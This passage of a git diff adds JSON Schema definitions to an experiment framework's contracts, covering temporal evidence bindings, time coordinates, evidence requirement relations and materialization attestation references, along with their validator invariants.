"Temporal Id", + "type": "string" + }, + "temporal_kind": { + "enum": [ + "deadline", + "dwell" + ], + "title": "Temporal Kind", + "type": "string" + }, + "time_domain": { + "minLength": 1, + "title": "Time Domain", + "type": "string" + } + }, + "required": [ + "action_contract_address", + "temporal_id", + "temporal_kind", + "clock_address", + "constraint_address", + "event_point", + "evidence_mode", + "end", + "contract_digest", + "time_domain", + "clock_authority", + "event_points", + "reset_boundary", + "replay_boundary" + ], + "title": "ParticipantTemporalBindingModel", + "type": "object" + }, + "ParticipantTemporalCoverageModel": { + "additionalProperties": false, + "description": "An attested condition over a half-open interval, not two samples.", + "properties": { + "condition_holds": { + "title": "Condition Holds", + "type": "boolean" + }, + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "start": { + "$ref": "#/$defs/TimeCoordinateModel" + } + }, + "required": [ + "start", + "end", + "condition_holds" + ], + "title": "ParticipantTemporalCoverageModel", + "type": "object" + }, "ParticipantTemporalEventPoint": { "description": "Named participant event points used by temporal contracts.", "enum": [ @@ -1534,6 +1805,182 @@ "title": "ParticipantTemporalEventPoint", "type": "string" }, + "ParticipantTemporalEvidenceModel": { + "additionalProperties": false, + "description": "A backend's observation of the selected event on the bound shared clock.", + "properties": { + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + "coordinate": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "coverage": { + "default": [], + "items": { + "$ref": "#/$defs/ParticipantTemporalCoverageModel" + }, + "maxItems": 4096, + "title": "Coverage", + "type": "array" + }, + "event_point": { + "anyOf": [ + { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Event Point" + }, + "evidence_mode": { + "default": "event", + "enum": [ + "event", + "continuous", + "sampled" + ], + "title": "Evidence Mode", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence Refs", + "type": "array" + }, + "observation_boundary_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Observation Boundary Address", + "type": "string" + } + }, + "required": [ + "context", + "observation_boundary_address", + "evidence_refs" + ], + "title": "ParticipantTemporalEvidenceModel", + "type": "object" + }, + "ParticipantTemporalExecutionContextModel": { + "additionalProperties": false, + "description": "Runtime-owned identity of one bound guarantee evaluation.", + "properties": { + "action_instance_id": { + "minLength": 1, + "title": "Action Instance Id", + "type": "string" + }, + "binding": { + "$ref": "#/$defs/ParticipantTemporalBindingModel" + }, + "bound_end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "bound_start": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "clock_sequence": { + "minimum": 0, + "title": "Clock Sequence", + "type": "integer" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "execution_generation": { + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "execution_scope_ref": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Execution Scope Ref", + "type": "string" + }, + "participant_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Participant Address", + "type": "string" + }, + "submitted_at": { + "$ref": "#/$defs/TimeCoordinateModel" + } + }, + "required": [ + "binding", + "participant_address", + "episode_id", + "action_instance_id", + "execution_scope_ref", + "execution_generation", + "submitted_at", + "clock_sequence", + "bound_end" + ], + "title": "ParticipantTemporalExecutionContextModel", + "type": "object" + }, "ParticipantTemporalRuntimeContextModel": { "additionalProperties": false, "properties": { @@ -1589,6 +2036,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_contract_id": { "minLength": 1, "title": "Temporal Contract Id", @@ -1619,6 +2077,33 @@ ], "title": "ParticipantTimeDomain", "type": "string" + }, + "TimeCoordinateModel": { + "additionalProperties": false, + "description": "Exact superdense coordinate within one discontinuity segment.", + "properties": { + "microstep": { + "default": 0, + "minimum": 0, + "title": "Microstep", + "type": "integer" + }, + "segment": { + "default": 0, + "minimum": 0, + "title": "Segment", + "type": "integer" + }, + "tick": { + "title": "Tick", + "type": "integer" + } + }, + "required": [ + "tick" + ], + "title": "TimeCoordinateModel", + "type": "object" } }, "$id": "https://openrae.github.io/rae/schemas/participant-history-view-v1.json", @@ -1755,6 +2240,20 @@ ], "title": "ParticipantHistoryViewModel", "type": "object", + "x-raes-invariants": [ + { + "description": "Deadline bindings require event evidence; dwell requires continuous coverage of a nonempty interval, a condition and an observation boundary. Bounds are segment-relative and the selected event is declared.", + "id": "participant-shared-time-binding-shape", + "inputs": [ + { + "contract_id": "participant-history-view-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.participant_temporal.ParticipantTemporalBindingModel" + } + ], "x-raes-semantic-profile": { "contract_id": "participant-history-view-v1", "entry_schema_contract_id": "raes-semantic-invariants-v1", diff --git a/contracts/schemas/experiment-core/experiment-apparatus-context-v1.json b/contracts/schemas/experiment-core/experiment-apparatus-context-v1.json index 159f4cc1d..9a07ebc17 100644 --- a/contracts/schemas/experiment-core/experiment-apparatus-context-v1.json +++ b/contracts/schemas/experiment-core/experiment-apparatus-context-v1.json @@ -163,6 +163,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -794,6 +795,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", diff --git a/contracts/schemas/experiment-core/experiment-authoring-input-v1.json b/contracts/schemas/experiment-core/experiment-authoring-input-v1.json index 7c0a95469..667982536 100644 --- a/contracts/schemas/experiment-core/experiment-authoring-input-v1.json +++ b/contracts/schemas/experiment-core/experiment-authoring-input-v1.json @@ -603,6 +603,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -958,6 +959,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -1788,6 +1790,160 @@ "title": "ExperimentEpisodeControlModel", "type": "object" }, + "ExperimentEvidenceRequirementRelationModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "relation_kind": { + "const": "refine" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "minItems": 1 + } + }, + "required": [ + "refinement_dimensions" + ] + } + }, + { + "if": { + "properties": { + "relation_kind": { + "const": "extend" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "maxItems": 0 + } + } + } + } + ], + "description": "One explicit scoped relationship to an immutable authored requirement.\n\nThe relation carries lineage only. The authored requirement and the\nmaterialized capture requirement remain independent obligations.", + "properties": { + "authority_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "base_requirement_address": { + "minLength": 1, + "title": "Base Requirement Address", + "type": "string" + }, + "base_scenario_ref": { + "$ref": "#/$defs/ExperimentScenarioSnapshotReferenceModel" + }, + "capture_requirement_ref": { + "minLength": 1, + "title": "Capture Requirement Ref", + "type": "string" + }, + "capture_spec_ref": { + "$ref": "#/$defs/ExperimentCaptureSpecReferenceModel" + }, + "provenance_refs": { + "items": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "title": "Provenance Refs", + "type": "array" + }, + "rationale": { + "minLength": 1, + "title": "Rationale", + "type": "string" + }, + "refinement_dimensions": { + "items": { + "enum": [ + "field-selectors", + "artifact-roles", + "integrity-requirements", + "loss-disclosure" + ], + "type": "string" + }, + "maxItems": 4, + "title": "Refinement Dimensions", + "type": "array", + "uniqueItems": true + }, + "relation_id": { + "minLength": 1, + "title": "Relation Id", + "type": "string" + }, + "relation_kind": { + "enum": [ + "refine", + "extend" + ], + "title": "Relation Kind", + "type": "string" + }, + "relation_version": { + "minLength": 1, + "title": "Relation Version", + "type": "string" + }, + "scope": { + "enum": [ + "task", + "run", + "study" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "relation_id", + "relation_version", + "relation_kind", + "scope", + "authority_ref", + "base_scenario_ref", + "base_requirement_address", + "capture_spec_ref", + "capture_requirement_ref", + "rationale" + ], + "title": "ExperimentEvidenceRequirementRelationModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Evidence requirement relations must resolve an exact immutable SDL declaration and a separately identified capture requirement. Refinements preserve every declared base dimension and strengthen at least one governed dimension; extensions remain independent obligations.", + "id": "evidence-requirement-relation-lineage-valid", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#/evidence_requirements" + }, + { + "contract_id": "experiment-capture-spec-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_evidence_requirement_relations" + } + ] + }, "ExperimentEvidenceSatisfactionReferenceModel": { "additionalProperties": false, "description": "Evidence concept reference that an artifact claims to satisfy.", @@ -2383,6 +2539,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -2617,6 +2774,13 @@ "episode_control": { "$ref": "#/$defs/ExperimentEpisodeControlModel" }, + "evidence_requirement_relations": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceRequirementRelationModel" + }, + "title": "Evidence Requirement Relations", + "type": "array" + }, "observation_demands": { "anyOf": [ { @@ -2912,6 +3076,68 @@ "title": "ExperimentScenarioReferenceModel", "type": "object" }, + "ExperimentScenarioSnapshotReferenceModel": { + "additionalProperties": false, + "description": "Reference constrained to a sealed scenario snapshot.", + "properties": { + "ref_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Digest" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "scenario-snapshot", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Path" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentScenarioSnapshotReferenceModel", + "type": "object" + }, "ExperimentSelectionMemberOutcomeModel": { "additionalProperties": false, "description": "One named alternative/member outcome.", @@ -4501,6 +4727,18 @@ ], "level": "error", "validator": "raes_contracts.contracts.ExperimentSpecModel._validate_selection_factor_joins" + }, + { + "description": "Prospective run-scoped evidence requirement relations must identify this exact authoring input and its intended scenario snapshot.", + "id": "run-plan-evidence-requirement-relation-owner-valid", + "inputs": [ + { + "contract_id": "experiment-authoring-input-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentSpecModel._validate_experiment_spec" } ], "x-raes-semantic-profile": { diff --git a/contracts/schemas/experiment-core/experiment-capture-spec-v1.json b/contracts/schemas/experiment-core/experiment-capture-spec-v1.json index bafceee6f..c6caf3090 100644 --- a/contracts/schemas/experiment-core/experiment-capture-spec-v1.json +++ b/contracts/schemas/experiment-core/experiment-capture-spec-v1.json @@ -42,6 +42,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -655,6 +656,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -1405,6 +1407,18 @@ ], "level": "error", "validator": "raes_contracts.contracts.ExperimentCaptureSpecModel._validate_capture_spec" + }, + { + "description": "Every required media type must have a registered content-proof path and be supported by its declared output_contract.", + "id": "capture-media-type-provable", + "inputs": [ + { + "contract_id": "experiment-capture-spec-v1", + "instance_path": "#/capture_requirements" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentCaptureRequirementModel._validate_capture_requirement" } ], "x-raes-plane": "authored_evidence_requirement", diff --git a/contracts/schemas/experiment-core/experiment-derived-measure-v1.json b/contracts/schemas/experiment-core/experiment-derived-measure-v1.json index ba3259d53..78aeb325d 100644 --- a/contracts/schemas/experiment-core/experiment-derived-measure-v1.json +++ b/contracts/schemas/experiment-core/experiment-derived-measure-v1.json @@ -196,6 +196,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", diff --git a/contracts/schemas/experiment-core/experiment-evidence-record-v1.json b/contracts/schemas/experiment-core/experiment-evidence-record-v1.json index 90035f137..2602826fe 100644 --- a/contracts/schemas/experiment-core/experiment-evidence-record-v1.json +++ b/contracts/schemas/experiment-core/experiment-evidence-record-v1.json @@ -728,6 +728,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -1142,6 +1143,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", diff --git a/contracts/schemas/experiment-core/experiment-run-v1.json b/contracts/schemas/experiment-core/experiment-run-v1.json index c4a26b21e..429a57fb2 100644 --- a/contracts/schemas/experiment-core/experiment-run-v1.json +++ b/contracts/schemas/experiment-core/experiment-run-v1.json @@ -1284,6 +1284,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -2154,6 +2155,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -2272,6 +2274,7 @@ "derived-measure", "evidence-record", "manifest", + "materialization-attestation", "measurement-channel", "profile", "run", @@ -2882,6 +2885,160 @@ "title": "ExperimentEvidenceRecordReferenceModel", "type": "object" }, + "ExperimentEvidenceRequirementRelationModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "relation_kind": { + "const": "refine" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "minItems": 1 + } + }, + "required": [ + "refinement_dimensions" + ] + } + }, + { + "if": { + "properties": { + "relation_kind": { + "const": "extend" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "maxItems": 0 + } + } + } + } + ], + "description": "One explicit scoped relationship to an immutable authored requirement.\n\nThe relation carries lineage only. The authored requirement and the\nmaterialized capture requirement remain independent obligations.", + "properties": { + "authority_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "base_requirement_address": { + "minLength": 1, + "title": "Base Requirement Address", + "type": "string" + }, + "base_scenario_ref": { + "$ref": "#/$defs/ExperimentScenarioSnapshotReferenceModel" + }, + "capture_requirement_ref": { + "minLength": 1, + "title": "Capture Requirement Ref", + "type": "string" + }, + "capture_spec_ref": { + "$ref": "#/$defs/ExperimentCaptureSpecReferenceModel" + }, + "provenance_refs": { + "items": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "title": "Provenance Refs", + "type": "array" + }, + "rationale": { + "minLength": 1, + "title": "Rationale", + "type": "string" + }, + "refinement_dimensions": { + "items": { + "enum": [ + "field-selectors", + "artifact-roles", + "integrity-requirements", + "loss-disclosure" + ], + "type": "string" + }, + "maxItems": 4, + "title": "Refinement Dimensions", + "type": "array", + "uniqueItems": true + }, + "relation_id": { + "minLength": 1, + "title": "Relation Id", + "type": "string" + }, + "relation_kind": { + "enum": [ + "refine", + "extend" + ], + "title": "Relation Kind", + "type": "string" + }, + "relation_version": { + "minLength": 1, + "title": "Relation Version", + "type": "string" + }, + "scope": { + "enum": [ + "task", + "run", + "study" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "relation_id", + "relation_version", + "relation_kind", + "scope", + "authority_ref", + "base_scenario_ref", + "base_requirement_address", + "capture_spec_ref", + "capture_requirement_ref", + "rationale" + ], + "title": "ExperimentEvidenceRequirementRelationModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Evidence requirement relations must resolve an exact immutable SDL declaration and a separately identified capture requirement. Refinements preserve every declared base dimension and strengthen at least one governed dimension; extensions remain independent obligations.", + "id": "evidence-requirement-relation-lineage-valid", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#/evidence_requirements" + }, + { + "contract_id": "experiment-capture-spec-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_evidence_requirement_relations" + } + ] + }, "ExperimentEvidenceSatisfactionReferenceModel": { "additionalProperties": false, "description": "Evidence concept reference that an artifact claims to satisfy.", @@ -3536,6 +3693,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -4146,6 +4304,77 @@ "title": "LiteralBindingValueModel", "type": "object" }, + "MaterializationArchiveRecord": { + "additionalProperties": false, + "description": "Published protected bytes and their distinct semantic identity.", + "properties": { + "artifact": { + "$ref": "#/$defs/ExperimentArtifactRefModel" + }, + "operation_id": { + "minLength": 1, + "title": "Operation Id", + "type": "string" + }, + "reference": { + "$ref": "#/$defs/MaterializationAttestationReferenceModel" + }, + "run_id": { + "minLength": 1, + "title": "Run Id", + "type": "string" + } + }, + "required": [ + "reference", + "artifact", + "run_id", + "operation_id" + ], + "title": "MaterializationArchiveRecord", + "type": "object" + }, + "MaterializationAttestationReferenceModel": { + "additionalProperties": false, + "description": "A descriptive artifact identity, never the original scenario snapshot.", + "properties": { + "ref_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Ref Digest", + "type": "string" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "materialization-attestation", + "default": "materialization-attestation", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "minLength": 1, + "title": "Ref Path", + "type": "string" + }, + "ref_version": { + "const": "raes-sdl-materialized/v1", + "default": "raes-sdl-materialized/v1", + "title": "Ref Version", + "type": "string" + } + }, + "required": [ + "ref_id", + "ref_digest", + "ref_path" + ], + "title": "MaterializationAttestationReferenceModel", + "type": "object" + }, "NullDomain": { "additionalProperties": false, "description": "The singleton JSON-null domain, distinct from omission or unknown.", @@ -7452,6 +7681,13 @@ "title": "Evidence Artifacts", "type": "array" }, + "evidence_requirement_relations": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceRequirementRelationModel" + }, + "title": "Evidence Requirement Relations", + "type": "array" + }, "generated_refs": { "items": { "$ref": "#/$defs/ExperimentReferenceModel" @@ -7470,6 +7706,14 @@ ], "default": null }, + "materialization_attestations": { + "items": { + "$ref": "#/$defs/MaterializationArchiveRecord" + }, + "maxItems": 4096, + "title": "Materialization Attestations", + "type": "array" + }, "outcome_status": { "enum": [ "succeeded", @@ -7801,6 +8045,30 @@ "level": "error", "validator": "raes_contracts.contracts.validate_experiment_run_structure_against_task" }, + { + "description": "Archived run-scoped evidence requirement relations must identify this exact run and scenario snapshot.", + "id": "run-evidence-requirement-relation-owner-valid", + "inputs": [ + { + "contract_id": "experiment-run-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentRunModel._validate_archival_run" + }, + { + "description": "Materialization records belong to this run and materialization disclosure carriers bind exactly one archived record; the original scenario snapshot reference is not replaced.", + "id": "run-materialization-carriers-archived", + "inputs": [ + { + "contract_id": "experiment-run-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.materialization_attestation.validate_run_materializations" + }, { "description": "Run started_at, ended_at, invalidation invalidated_at, and evidence_artifacts created_at values must be valid RFC 3339 date-times, including only known valid UTC leap-second instants.", "id": "run-archival-times-rfc3339-valid", diff --git a/contracts/schemas/experiment-core/experiment-study-v1.json b/contracts/schemas/experiment-core/experiment-study-v1.json index 23b90064a..7c69e8aed 100644 --- a/contracts/schemas/experiment-core/experiment-study-v1.json +++ b/contracts/schemas/experiment-core/experiment-study-v1.json @@ -322,6 +322,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -395,6 +396,41 @@ "title": "ExperimentArtifactRefModel", "type": "object" }, + "ExperimentCaptureSpecReferenceModel": { + "additionalProperties": false, + "description": "Reference constrained to a declarative capture specification.", + "properties": { + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "capture-spec", + "title": "Ref Kind", + "type": "string" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentCaptureSpecReferenceModel", + "type": "object" + }, "ExperimentChecksumModel": { "additionalProperties": false, "allOf": [ @@ -829,6 +865,160 @@ "title": "ExperimentEvidenceRecordReferenceModel", "type": "object" }, + "ExperimentEvidenceRequirementRelationModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "relation_kind": { + "const": "refine" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "minItems": 1 + } + }, + "required": [ + "refinement_dimensions" + ] + } + }, + { + "if": { + "properties": { + "relation_kind": { + "const": "extend" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "maxItems": 0 + } + } + } + } + ], + "description": "One explicit scoped relationship to an immutable authored requirement.\n\nThe relation carries lineage only. The authored requirement and the\nmaterialized capture requirement remain independent obligations.", + "properties": { + "authority_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "base_requirement_address": { + "minLength": 1, + "title": "Base Requirement Address", + "type": "string" + }, + "base_scenario_ref": { + "$ref": "#/$defs/ExperimentScenarioSnapshotReferenceModel" + }, + "capture_requirement_ref": { + "minLength": 1, + "title": "Capture Requirement Ref", + "type": "string" + }, + "capture_spec_ref": { + "$ref": "#/$defs/ExperimentCaptureSpecReferenceModel" + }, + "provenance_refs": { + "items": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "title": "Provenance Refs", + "type": "array" + }, + "rationale": { + "minLength": 1, + "title": "Rationale", + "type": "string" + }, + "refinement_dimensions": { + "items": { + "enum": [ + "field-selectors", + "artifact-roles", + "integrity-requirements", + "loss-disclosure" + ], + "type": "string" + }, + "maxItems": 4, + "title": "Refinement Dimensions", + "type": "array", + "uniqueItems": true + }, + "relation_id": { + "minLength": 1, + "title": "Relation Id", + "type": "string" + }, + "relation_kind": { + "enum": [ + "refine", + "extend" + ], + "title": "Relation Kind", + "type": "string" + }, + "relation_version": { + "minLength": 1, + "title": "Relation Version", + "type": "string" + }, + "scope": { + "enum": [ + "task", + "run", + "study" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "relation_id", + "relation_version", + "relation_kind", + "scope", + "authority_ref", + "base_scenario_ref", + "base_requirement_address", + "capture_spec_ref", + "capture_requirement_ref", + "rationale" + ], + "title": "ExperimentEvidenceRequirementRelationModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Evidence requirement relations must resolve an exact immutable SDL declaration and a separately identified capture requirement. Refinements preserve every declared base dimension and strengthen at least one governed dimension; extensions remain independent obligations.", + "id": "evidence-requirement-relation-lineage-valid", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#/evidence_requirements" + }, + { + "contract_id": "experiment-capture-spec-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_evidence_requirement_relations" + } + ] + }, "ExperimentEvidenceSatisfactionReferenceModel": { "additionalProperties": false, "description": "Evidence concept reference that an artifact claims to satisfy.", @@ -957,6 +1147,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -1119,6 +1310,68 @@ } ] }, + "ExperimentScenarioSnapshotReferenceModel": { + "additionalProperties": false, + "description": "Reference constrained to a sealed scenario snapshot.", + "properties": { + "ref_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Digest" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "scenario-snapshot", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Path" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentScenarioSnapshotReferenceModel", + "type": "object" + }, "ExperimentStatisticalMethodModel": { "additionalProperties": false, "description": "Statistical or estimation method declared before analysis.", @@ -2111,6 +2364,13 @@ "title": "Description", "type": "string" }, + "evidence_requirement_relations": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceRequirementRelationModel" + }, + "title": "Evidence Requirement Relations", + "type": "array" + }, "export_artifacts": { "items": { "$ref": "#/$defs/ExperimentArtifactRefModel" @@ -2356,6 +2616,18 @@ "level": "error", "validator": "raes_contracts.contracts.validation_disclosure.validate_carrier_validation_basis_disclosures" }, + { + "description": "Study-scoped evidence requirement relations must identify this exact study authority.", + "id": "study-evidence-requirement-relation-owner-valid", + "inputs": [ + { + "contract_id": "experiment-study-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentStudyModel._validate_claim_bearing_study" + }, { "description": "When run_allocation compares evaluation runs, every shared stochastic_controls control_id across those runs must use a consistent executable_binding profile_ref and namespace, and either all or none of the runs that share the control_id may carry an executable_binding (EXP-718 common random numbers / controlled-variation comparability).", "id": "study-run-allocation-stochastic-control-consistency", diff --git a/contracts/schemas/experiment-core/experiment-task-v1.json b/contracts/schemas/experiment-core/experiment-task-v1.json index ab203dbf1..5aaf8013a 100644 --- a/contracts/schemas/experiment-core/experiment-task-v1.json +++ b/contracts/schemas/experiment-core/experiment-task-v1.json @@ -153,6 +153,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -261,6 +262,41 @@ "title": "ExperimentBackendReferenceModel", "type": "object" }, + "ExperimentCaptureSpecReferenceModel": { + "additionalProperties": false, + "description": "Reference constrained to a declarative capture specification.", + "properties": { + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "capture-spec", + "title": "Ref Kind", + "type": "string" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentCaptureSpecReferenceModel", + "type": "object" + }, "ExperimentChecksumModel": { "additionalProperties": false, "allOf": [ @@ -559,6 +595,160 @@ "title": "ExperimentEvidenceReferenceModel", "type": "object" }, + "ExperimentEvidenceRequirementRelationModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "relation_kind": { + "const": "refine" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "minItems": 1 + } + }, + "required": [ + "refinement_dimensions" + ] + } + }, + { + "if": { + "properties": { + "relation_kind": { + "const": "extend" + } + }, + "required": [ + "relation_kind" + ] + }, + "then": { + "properties": { + "refinement_dimensions": { + "maxItems": 0 + } + } + } + } + ], + "description": "One explicit scoped relationship to an immutable authored requirement.\n\nThe relation carries lineage only. The authored requirement and the\nmaterialized capture requirement remain independent obligations.", + "properties": { + "authority_ref": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "base_requirement_address": { + "minLength": 1, + "title": "Base Requirement Address", + "type": "string" + }, + "base_scenario_ref": { + "$ref": "#/$defs/ExperimentScenarioSnapshotReferenceModel" + }, + "capture_requirement_ref": { + "minLength": 1, + "title": "Capture Requirement Ref", + "type": "string" + }, + "capture_spec_ref": { + "$ref": "#/$defs/ExperimentCaptureSpecReferenceModel" + }, + "provenance_refs": { + "items": { + "$ref": "#/$defs/ExperimentReferenceModel" + }, + "title": "Provenance Refs", + "type": "array" + }, + "rationale": { + "minLength": 1, + "title": "Rationale", + "type": "string" + }, + "refinement_dimensions": { + "items": { + "enum": [ + "field-selectors", + "artifact-roles", + "integrity-requirements", + "loss-disclosure" + ], + "type": "string" + }, + "maxItems": 4, + "title": "Refinement Dimensions", + "type": "array", + "uniqueItems": true + }, + "relation_id": { + "minLength": 